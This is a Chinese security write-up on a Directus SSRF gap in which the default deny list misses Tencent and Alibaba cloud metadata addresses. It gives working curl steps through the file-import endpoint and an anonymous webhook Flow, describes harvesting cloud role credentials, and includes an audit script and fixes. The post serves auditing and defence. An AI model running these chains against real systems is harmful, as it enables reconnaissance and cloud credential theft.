黑名单只防了 AWS?Directus 默认配置下 SSRF 直通国产云 metadata
Directus 默认 SSRF 黑名单只防了 AWS 那个 metadata 地址——国产云(腾讯云 169.254.0.23、阿里云 100.100.100.200)一个都没拦。链 A 用 editor 账号打 import 端点直接拉回实例指纹;链 B 用 Webhook Flow 零账号匿名触发。配套 import-ssrf-audit.py 加 --metadata-check 模式,3
复现环境:Ubuntu 22.04 ,Docker Compose 跑了 Directus 12.2.0,数据库 PostgreSQL 16。同机还有 NocoDB 和 n8n,当内网靶标用。文里所有命令都在这个环境里跑过,输出没改。目标机器的 metadata 服务地址是 169.254.0.23,这是腾讯云的,不是 AWS 那个。
一、写在前面
之前我分析 Directus 文件导入的 SSRF,讲过私有网段盲区——默认黑名单只管本机,内网随便打。那篇结尾我留了个尾巴:AWS 的 metadata 地址 169.254.169.254 被默认黑名单拦了,当时觉得"官方至少防住了云上那条线"。
后来再想,不对劲。169.254.169.254 是 AWS 的地址,国内厂商的 metadata 服务可不长这样。腾讯云是 169.254.0.23,阿里云是 100.100.100.200,华为云还有自己的。Directus 的默认黑名单里只写了 AWS 那个,那国产云的地址是不是全放行?
这个问题的答案,就是这篇文章。
这篇的读者对象,是两类人:一类是把 Directus 这类低代码平台部署在国产云上的运维,想确认自己有没有踩这个坑;另一类是审计开源组件 SSRF 防护的开发者,想看看默认黑名单的设计盲区长什么样。两类读者读到的重点不一样,但验证数据是同一批,全部实测。
二、一个默认值引发的追问
先说清楚 metadata 是什么
云厂商的 metadata 服务,是给实例自己用的"自我介绍"接口。实例启动的时候,操作系统、配置工具、容器编排系统都会来问它:我是谁(instance-id)、我在哪(region)、我有什么网络配置(IP/MAC)、我有没有权限(角色凭证)。地址固定,协议固定,只有实例自己访问得到——至少设计意图是这样。
AWS 把 metadata 地址放在 169.254.169.254,这是个 link-local 地址(169.254.0.0/16 段),不经过路由就能访问,防火墙拦不住,因为它属于"本机链路"范畴。SSRF 漏洞一打这个地址,等于让服务器自己回答"我是谁"。2017 年 Capital One 事件就是这么干的:一个 SSRF 打到 metadata,拿走了 IAM 凭证,几百万用户的资料被拖走。从那以后,所有云厂商的安全基线里都有"SSRF 必须防 metadata"这一条。
但是注意,这个基线是 AWS 的基线。各家云厂商实现 metadata 服务,地址各不相同:
云厂商 | metadata 地址 |
AWS | 169.254.169.254 |
腾讯云 | 169.254.0.23 |
阿里云 | 100.100.100.200 |
华为云 | 169.254.169.254(与 AWS 相同) |
问题来了:如果开源项目的默认黑名单里只写了 AWS 那个地址,国产云的用户部署上去,等于没有防护。
黑名单默认值
先看 IMPORT_IP_DENY_LIST 的默认值到底写了什么。源码在 packages/env/src/constants/defaults.ts:
IMPORT_IP_DENY_LIST: ['0.0.0.0', '169.254.169.254'],就两条。0.0.0.0 是上次 CVE 修复加的,169.254.169.254 是 AWS metadata。我把它跟 CVE-2026-61835 的修复对照着看,发现一个细节:官方修 0.0.0.0 的时候,把 0.0.0.0/8 网段和 IPv6 的 :: 都塞进了黑名单,还顺手把本机所有网卡 IP 加进去。这一套操作下来,本机是保住了,但"云厂商 metadata"只保了 AWS 一家。
0.0.0.0 的特殊处理
11.17.0 的 is-denied-ip.ts 里,0.0.0.0 的处理是这样:
if (blockNetwork === '0.0.0.0') {
blockNetworkInterfaces = true;
continue;
}只设了一个标志位然后跳过,0.0.0.0 这个地址本身没进黑名单。12.2.0 的修复版本:
if (blockNetwork === '0.0.0.0') {
blockNetworkInterfaces = true;
blockList.parseSubnet('0.0.0.0/8');
blockList.parseAddress('::');
continue;
}多了 parseSubnet('0.0.0.0/8') 和 parseAddress('::')。这个修复本身是对的,但它只解决了 0.0.0.0 这一个字面量。黑名单的覆盖范围,还是"本机 + 一个云厂商的地址"。顺带交代一下背景:这个 0.0.0.0 绕过是 CVE-2026-61835,2026 年 7 月 15 号公开,12.0.0 之前全受影响,这里讲的修复就是它对应的补丁。
拦截逻辑在哪
防护挂在 axios 的自定义 agent 上。文件导入的 services/files.ts 里:
const axios = await getAxios();
fileResponse = await axios.get<Readable>(encodeURL(importURL), {
responseType: 'stream',
decompress: false,
});getAxios() 返回的实例挂了 agent,连接前查一次黑名单,DNS 解析后再查一次。文件导入和 Flow 的 request 操作共用这一个实例,后面两条链都跟它有关。
追问:国产云呢
问题就出在默认值只写了 AWS。169.254.169.254 是 AWS 的 link-local 地址,腾讯云用的是 169.254.0.23,阿里云是 100.100.100.200。这些地址一个都不在默认黑名单里。
理论上,任何能触发服务器发请求的功能,都能打到国产云的 metadata。至于是不是真的能打,上服务器实测。
三、环境:一台主机上的 Directus
部署简述
Directus 用 Docker Compose 部署,一条命令的事。compose 里两个服务:postgres 数据库加 directus 本体。我踩过的坑:compose 自动创建的 uploads 目录属主是 root,容器里的 node 用户(uid 1000)写不进去,日志报 WARN: Upload directory is not read/writeable。我删掉目录用 ubuntu 用户重建——ubuntu 的 uid 正好也是 1000,绕过去了。这个坑和本文主题无关,但部署阶段卡了二十分钟,值得记一笔。
版本确认用管理员 token 查 /server/info,version 是 12.2.0,2026-07-29 构建的最新版。
容器拓扑
直接看 docker ps:
docker ps --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}" | grep -E "directus|nocodb|n8n-vulnerable|NAMES"
NAMES STATUS PORTS
directus Up 38 seconds 0.0.0.0:8055->8055/tcp
directus-db Up 3 days 5432/tcp
nocodb Up 10 days 0.0.0.0:8080->8080/tcp
n8n-vulnerable Up 2 weeks 0.0.0.0:5678->5678/tcpDirectus 在 8055,NocoDB 在 8080,n8n 在 5678。metadata 服务不在 docker 网络里,它在宿主机上,地址 169.254.0.23,只对宿主机自己可达。
容器网络
看下容器在 docker 网络里的位置:
docker inspect directus --format "{{range .NetworkSettings.Networks}}{{.IPAddress}} gw={{.Gateway}}{{end}}"
172.20.0.3 gw=172.20.0.1
docker inspect nocodb --format "{{range .NetworkSettings.Networks}}{{.IPAddress}} gw={{.Gateway}}{{end}}"
172.17.0.2 gw=172.17.0.1Directus 在 172.20.0.3,NocoDB 在 172.17.0.2,两个不同的 bridge 网络。SSRF 要打 NocoDB 得经过网关,这属于内网探测的范畴,这篇的重点是云 metadata。
腾讯云 metadata 服务结构
先摸一下 metadata 服务本身长什么样。在宿主机上直接 curl:
curl -s http://169.254.0.23/latest/meta-data/
app-id
instance-id
local-ipv4
mac
public-ipv4
uuid
instance-name
hostname
placement/
payment/
network/
volumes/
instance/
ntp/
rdma-subnetinstance-id、uuid、hostname、网络信息全在。腾讯云的 metadata 协议和 AWS 基本一致,都是 /latest/meta-data/ 这套路径,区别只在 IP 地址不同。所以默认黑名单里写了 AWS 的地址却没写腾讯云的,就不是"协议不支持"的问题,纯粹是没想到。
四、链 A:有账号的 SSRF,import 直通云 metadata
谁有 import 权限
链 A 的第一步是身份。import 端点需要 directus_files 的创建权限,默认管理员有,真实部署里编辑角色也经常被授予——内容编辑要传封面图、附件,这是刚需。
我在环境里建了一个 content-editor 角色验证过:只给 directus_files 的 create 权限,其他一律不给。用 editor 账号跑 import,HTTP 204(文件创建成功,editor 没有读权限看不到响应体),管理员视角查 files 列表能看到记录,uploaded_by 是 editor 的 id。这个验证过程有个坑:Directus 12 的权限模型是 role + policy,创建 policy 时带 roles 关联会报 FORBIDDEN,要先建最小 policy 再 PATCH 补用户关联,折腾了十几分钟。过程不展开,结论记一下:低权限编辑也能触发 import SSRF,链 A 的攻击者画像,就是真实环境里最常见的低权限内容账号。
打根路径
先登录拿 token,用文件导入功能 import metadata 根路径:
TOKEN=$(curl -s -X POST http://localhost:8055/auth/login -H 'Content-Type: application/json' \
-d '{"email":"admin@example.com","password":"Admin123!"}' | python3 -c \
'import sys,json;print(json.load(sys.stdin)["data"]["access_token"])')
curl -s -X POST http://localhost:8055/files/import \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"url":"http://169.254.0.23/"}'返回 200,文件入库。读回内容:
curl -s http://localhost:8055/assets/<file_id> -H "Authorization: Bearer $TOKEN"
1.0/
2017-09-19/
latest/
meta-data/metadata 的目录结构被当成文件拉进了 Directus。HTTP 200,说明请求真的发出去了,黑名单没拦住。
拉敏感端点
目录结构只是第一步。把具体端点一个个拉出来:
curl -s -X POST http://localhost:8055/files/import \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"url":"http://169.254.0.23/latest/meta-data/instance-id"}'读回文件内容:
ins-2axv5mea实例 ID 拿到了。继续拉其他端点,uuid、hostname、local-ipv4、placement/region、network/interfaces/macs,全部 200 入库:
/latest/meta-data/uuid → 200
/latest/meta-data/hostname → 200
/latest/meta-data/local-ipv4 → 200
/latest/meta-data/placement/region → 200
/latest/meta-data/network/interfaces/macs → 200到这一步,实例的指纹信息已经完整泄露:ID、区域、主机名、内网 IP、MAC 列表。攻击者拿这些可以做后续的精准打击。
对照组:AWS 地址被拦
为了确认"不是所有 metadata 都能打,只有国产云漏了",跑一遍 AWS 地址:
curl -s -X POST http://localhost:8055/files/import \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}'
{"errors":[{"message":"Service \"external-file\" is unavailable. Couldn't fetch file from URL ..."}]}被拦了。默认黑名单里的 169.254.169.254 生效,AWS 的地址打不进去。日志里能看到具体原因:
WARN: Couldn't fetch file from URL "http://169.254.169.254/latest/meta-data/": Requested domain "169.254.169.254" resolves to a denied IP address一拦一放,差别就出来了。阿里云的 100.100.100.200 我也试了,这台机器上不可达(防火墙层面就断了,HTTP 000),所以文章里只写实测成功的腾讯云,阿里云属于"不在名单但环境未验证"。
CAM 角色凭证的诚实边界
腾讯云 metadata 里有个目录专门放临时凭证:
/latest/meta-data/cam/security-credentials/我试了,404。原因是这台机器没有绑定 CAM 角色。腾讯云的机制是:实例绑了角色,metadata 里才有 security-credentials,里面是 AK/SK 的临时凭证;没绑角色,这个端点就是空的。
所以诚实地说,实测拿到的是实例指纹信息,不是云凭证。但如果目标实例绑了 CAM 角色(生产环境很常见,尤其是容器和 K8s 节点,为了给工作负载发临时权限),那这个端点就是有内容的——SSRF 直接拉回来就是一组临时 AK/SK。机制和 AWS 完全一样,只是地址不同,这一点放到影响评估那节细说。
五、链 B:零账号的 SSRF,匿名 Webhook Flow
链 A 需要账号。有没有不需要账号的路?有,Directus 的 Webhook Flow。
Flow 是什么,Webhook 触发怎么进
先说 Flow。Directus 的 Flow 是可视化自动化工作流,类似 n8n:一个触发器加一串操作。触发器有 webhook、schedule、event 几种。Webhook 触发器的意思是:外部发一个 HTTP 请求到 /flows/trigger/,Flow 就跑起来。
路由注册在源码里,api/src/controllers/flows.ts:
router.get(`/trigger/:pk(${UUID_REGEX})`, checkIsLocked('flows'), webhookFlowHandler, respond);
router.post(`/trigger/:pk(${UUID_REGEX})`, checkIsLocked('flows'), webhookFlowHandler, respond);没有认证中间件,只有一把"流程是否锁定"的锁。runWebhookFlow 的实现更直接——从内存表里按 id 找 handler,找到就执行,从头到尾没有检查调用者身份:
public async runWebhookFlow(id, data, context) {
if (!(id in this.webhookFlowHandlers)) {
throw new ForbiddenError();
}
const handler = this.webhookFlowHandlers[id];
return handler(data, context);
}唯一的门槛是 UUID 好不好猜。UUID 有 122 位随机熵,理论上猜不到,但 flow 的 id 会出现在活动日志、分享出去的链接、前端的各种状态里,泄露途径并不少。安全上把防线建立在"别人猜不到我的 ID"上,本身就挺脆。
Flow request 操作源码
Flow 的 request 操作源码,api/src/operations/request/index.ts:
import { getAxios } from '../../request/index.js';
...
const axios = await getAxios();
const result = await axios({
url: encodeUrl(url),
method,
data: body,
headers: customHeaders,
});关键就在 getAxios。文件导入用的也是它,同一个实例、同一套黑名单。黑名单默认值就那两条,所以 Flow 的 request 打 169.254.0.23 同样不拦。
区别在哪?Flow 走的是另一条触发链路,接下来细说。
匿名触发,metadata 回显
建一个 Webhook Flow,request 操作指向 metadata。踩了几个坑,记录一下。
一开始我图省事,想一个 POST 把 Flow 和嵌套 operations 一起建了,结果直接报 Validation failed——operation 的 key、type、position_x、position_y 必须都有。改成先建 Flow,再单独建 operation 就通了:
# 先建 Flow
curl -s -X POST http://localhost:8055/flows \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"meta-flow","status":"active","trigger":"webhook","accountability":"all","options":{"method":"GET"}}'第二个坑更隐蔽。Flow 建完,operation 也建了,触发之后 $last 还是触发数据,request 的结果没进去。查了半天才发现 flow 的 operation 字段(入口操作)是 null,得 PATCH 显式关联:
# 挂 request 操作
curl -s -X POST http://localhost:8055/operations \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"flow":"<flow_id>","type":"request","key":"op-meta","position_x":1,"position_y":1,"options":{"url":"http://169.254.0.23/latest/meta-data/instance-id","method":"GET"}}'
# 把入口操作关联到 flow
curl -s -X PATCH http://localhost:8055/flows/<flow_id> \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"operation":"<op_id>"}'还有 return 字段这关。Webhook 触发器 options 里要配 "return":"$all",触发才会返回操作结果,否则只返回触发数据。$ 在 bash 里会被展开,我写成 JSON 文件用 -d @file 绕过去。
最后一个坑:Flow 建完不生效,触发 403,日志里写 "Couldn't find webhook or manual triggered flow"。要 docker restart directus 让 Flow 热加载,等十几秒再触发。
这些都搞定之后,不带任何 token 触发:
curl -s "http://localhost:8055/flows/trigger/<flow_id>"
{"$trigger":{...},"$last":{"status":200,"statusText":"OK",...,"data":"ins-2axv5mea"},...}$last 里的 data 就是 instance-id。整个过程没有任何认证——没登录、没 token、没 IP 白名单,一个 curl 就拿到了云实例 ID。
系统身份意味着什么
看触发响应的 $accountability 字段:
"$accountability": {
"role": null,
"user": null,
"roles": [],
"admin": false,
"app": false,
"ip": "172.20.0.1"
}role 和 user 全是 null。在 Directus 里,accountability 为 null 就是系统身份,执行时不经过任何权限校验。管理员配 Flow 的时候选了 $all(所有用户可触发),配完这个 Flow 就等于一个匿名可调的、以系统身份发请求的 API。
两条链的差别就在这里:链 A 要 editor 以上账号,链 B 什么都不要。管理员配一个 Webhook Flow 是常规操作,配完就开门了,界面上没有任何警告。
管理员为什么会配出这种 Flow
写到这里我停了一下,认真想了想管理员配 Flow 的动机。Webhook Flow 的典型用法,是给外部系统一个回调入口:订单系统推消息进来,触发一个流程,往数据库写一条记录,或者调一个第三方接口。这种场景下,外部系统没有 Directus 的账号,所以触发器的 accountability 只能选 $all——选了 trigger 的话,匿名请求连触发都触发不了。从业务角度看这是合理的,自动化就是要打通系统边界。
坑就出在这里。Directus 把"谁能触发"和"操作以什么身份执行"拆成了两个独立配置。管理员配 Flow 的时候,脑子里想的是"让外部系统能触发",但 request 操作执行的时候,用的身份是系统级。两个配置项分开看都没问题,组合起来就是一条匿名系统执行链。
request 操作本身也是为正常业务设计的——自动化流程经常要调外部 API、拉数据。它复用了文件导入那套 SSRF 防护,但防护的默认值只覆盖本机和 AWS metadata。防护的意图是有的,覆盖范围没跟上。
六、影响评估:云 metadata 泄露的实际危害
实例指纹的价值
实测拿到的:instance-id、uuid、hostname、region、内网 IP、MAC。这些算不算敏感?单独看每条都不致命,合起来是一个完整的实例画像:
- instance-id 是云厂商内部标识,配合 region 可以定位实例
- hostname 往往带业务信息(生产、测试、项目代号)
- 内网 IP + MAC 可以直接画网络拓扑
对攻击者来说,这相当于打内网之前的侦察完成了一半。后续配合其他漏洞(比如同网络里的服务)就能精准打击。举个具体的场景:拿到 hostname 和 region 之后,攻击者可以判断这台机器跑的是什么业务(hostname 里经常带 staging、prod 这类标识),配合之前提到的内网 SSRF 打同网络的数据库、Redis,或者对着 region 猜这台机器有没有绑定对象存储权限。指纹本身不直接产生危害,但它把后续攻击的搜索空间缩小了一大截。
还有一个容易被忽略的点:metadata 里的 mac 地址和 uuid,在云厂商的工单系统、备案记录里是可以反查的。换句话说,拿到了实例指纹,就拿到了这台机器在云厂商侧的"身份证号"。
绑了角色就是云凭证
先说清楚边界:这台机器没绑 CAM 角色,security-credentials 是 404,我没拿到凭证。以下是对机制的推演,不是实测结果。
腾讯云的 CAM 角色机制:实例绑定角色后,metadata 的 /latest/meta-data/cam/security-credentials/ 会返回一组临时 AK/SK,有效期几小时,自动轮换。容器、K8s 节点、Serverless 这些场景为了给工作负载授权,基本都会绑角色——不绑的话服务没法访问对象存储、没法拉私有镜像。
所以对绑了角色的实例,上面的链 A 和链 B 就不是读指纹这么简单了,直接就是拿凭证:import 或匿名 Flow 把 security-credentials 端点拉回来,就是一组真实有效的临时 AK/SK。拿到 AK/SK 之后能干什么,云厂商的文档写得清清楚楚,这里不展开。
一句话:默认配置的 Directus,遇到绑了角色的实例,就是一条从文件导入(或匿名 Flow)直达云凭证的链。我这次没绑角色,所以文章里只标到"指纹泄露 + 凭证机制推演"。
给维护组件的人提个醒
写完这篇我想了想,这个问题不只在 Directus 上。SSRF 黑名单的默认值怎么写,很多项目是照着 AWS 的安全文档抄的——metadata 地址填 169.254.169.254,抄完收工。AWS 文档传播最广,这个惯性可以理解,但国产云用户部署上去,防护就是空的。我没逐一验证其他项目,不点名,只提醒一句:你要是维护需要防 SSRF 的组件,默认黑名单里除了 AWS,把国产云那几家地址也加上,顺手的事。
七、加一个 metadata 检测模式
验证做完,把流程收进脚本。在之前的 import-ssrf-audit.py 基础上加 --metadata-check 模式,专门检测国产云 metadata 可达性:
#!/usr/bin/env python3
"""directus import ssrf check - 检测 /files/import 的 SSRF 面(含国产云 metadata)
用法: python3 import-ssrf-audit.py <base_url> <email> <password> [url1 url2 ...]
python3 import-ssrf-audit.py <base_url> <email> <password> --cve-check [port]
python3 import-ssrf-audit.py <base_url> <email> <password> --metadata-check
--cve-check 检测当前版本是否受 CVE-2026-61835 影响
--metadata-check 检测国产云 metadata 是否可达(AWS 地址为对照组)
"""
import sys, json
from urllib.parse import urlparse
import urllib.request, urllib.error
META_TARGETS = [
# (名称, 地址, 是否应在默认黑名单内)
('aws', 'http://169.254.169.254/latest/meta-data/', True),
('tencent', 'http://169.254.0.23/latest/meta-data/instance-id', False),
('aliyun', 'http://100.100.100.200/latest/meta-data/', False),
]
def post(url, data, tok=None, full=False):
req = urllib.request.Request(url, data=json.dumps(data).encode(),
headers={'Content-Type': 'application/json'})
if tok:
req.add_header('Authorization', 'Bearer ' + tok)
try:
r = urllib.request.urlopen(req, timeout=15)
body = r.read().decode()
return r.status, body if full else body[:200]
except urllib.error.HTTPError as e:
body = e.read().decode()
return e.code, body if full else body[:200]
except Exception as e:
return 0, str(e)[:120]
def metadata_check(base, tok):
for name, url, in_default in META_TARGETS:
s, b = post(base + '/files/import', {'url': url}, tok)
low = b.lower()
if s == 200:
verdict = 'HIT'
elif s == 503 and "couldn't fetch" in low:
verdict = 'BLOCKED'
elif s == 0:
verdict = 'UNREACHABLE'
else:
verdict = 'FAIL'
flag = ''
if verdict == 'HIT' and not in_default:
flag = ' <-- 不在默认黑名单,可打'
if verdict == 'BLOCKED' and in_default:
flag = ' <-- 默认黑名单生效'
print(f'[{verdict:11s}] {name:8s} {url}{flag}')
def cve_check(base, tok, port=None):
u = urlparse(base)
port = port or u.port or 8055
targets = [
f'http://0.0.0.0:{port}/server/ping',
f'http://127.0.0.1:{port}/server/ping',
]
hit = False
for t in targets:
s, b = post(base + '/files/import', {'url': t}, tok)
low = b.lower()
if s == 200:
verdict = 'HIT'
elif s == 503 and "couldn't fetch" in low:
verdict = 'BLOCKED'
else:
verdict = 'FAIL'
print(f'[{verdict}] {t} -> HTTP {s}')
if verdict == 'HIT':
hit = True
if hit:
print('[!] VULNERABLE: 0.0.0.0 bypass works (CVE-2026-61835, version < 12.0.0)')
else:
print('[+] 0.0.0.0 bypass blocked (fix present, version >= 12.0.0)')
def main():
if len(sys.argv) < 4:
print(__doc__)
sys.exit(1)
base = sys.argv[1].rstrip('/')
user, pw = sys.argv[2], sys.argv[3]
s, b = post(base + '/auth/login', {'email': user, 'password': pw}, full=True)
if s != 200:
print('login failed:', s, b)
sys.exit(1)
tok = json.loads(b)['data']['access_token']
print('[+] login ok, token len', len(tok))
if len(sys.argv) > 4:
if sys.argv[4] == '--cve-check':
port = int(sys.argv[5]) if len(sys.argv) > 5 else None
cve_check(base, tok, port)
return
if sys.argv[4] == '--metadata-check':
metadata_check(base, tok)
return
targets = sys.argv[4:]
else:
targets = [
'http://127.0.0.1:8055/server/ping',
'http://0.0.0.0:8055/server/ping',
'http://172.20.0.1:8080/api/v1/health',
'http://10.1.0.3:8080/api/v1/health',
]
for t in targets:
s, b = post(base + '/files/import', {'url': t}, tok)
low = b.lower()
if s == 200:
verdict = 'HIT'
elif s == 503 and "couldn't fetch" in low:
verdict = 'BLOCKED'
elif s == 0:
verdict = 'TIMEOUT'
else:
verdict = 'FAIL'
print(f'[{verdict}] {t} -> HTTP {s}')
if __name__ == '__main__':
main()跑一下 metadata 检测,输出以真实运行为准:
python3 import-ssrf-audit.py http://localhost:8055 admin@example.com Admin123! --metadata-check
[+] login ok, token len 321
[BLOCKED ] aws http://169.254.169.254/latest/meta-data/ <-- 默认黑名单生效
[HIT ] tencent http://169.254.0.23/latest/meta-data/instance-id <-- 不在默认黑名单,可打
[UNREACHABLE] aliyun http://100.100.100.200/latest/meta-data/三行输出把整篇文章的核心结论压缩完了:AWS 被默认黑名单拦着,腾讯云放行,阿里云这台机器不可达。安全团队拿这个脚本对线上实例跑一遍,几秒钟就知道国产云 metadata 有没有暴露,不用手工一个个试。
八、防御建议
- 黑名单补全国产云地址。IMPORT_IP_DENY_LIST 加上 169.254.0.23、100.100.100.200,以及各云厂商完整的 metadata 网段:
IMPORT_IP_DENY_LIST=0.0.0.0,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.169.254,169.254.0.23,100.100.100.200- Flow 触发加认证。Webhook Flow 默认匿名可触发,建议在 Flow 前面挂网关做签名校验,或者把 accountability 从 all 改成 trigger。
- 云侧加固。实例不绑角色就别绑;必须绑角色的,用最小权限策略,别把整个账号的权限挂上去。metadata 服务本身一般不能关,但可以限制访问来源。
- 更新版本。CVE-2026-61835 和 CVE-2026-61836 都是 2026-07-15 公开的,12.0.0 之前全受影响。官方对 0.0.0.0 的修复是有效的,但黑名单的覆盖范围需要管理员自己补。
- 自查清单。如果你不确定自己的部署有没有这个问题,用交付脚本跑一遍:
python3 import-ssrf-audit.py http://localhost:8055 admin@example.com Admin123! --metadata-check输出里 tencent 那行是 HIT,就说明你的实例 metadata 是暴露的。补完黑名单再跑一遍,应该变成 BLOCKED。留个验证闭环,别补完配置就觉得自己安全了。
最后收个尾。这篇想说的就一件事:很多开源项目的 SSRF 默认黑名单里,metadata 地址只记得 AWS 那一个。换到阿里云、华为云,同样的默认值、同样的盲区。你要是审计这类组件,除了看它拦了什么,也看一眼它漏了哪家云——这个检查项值得写进自己的 checklist。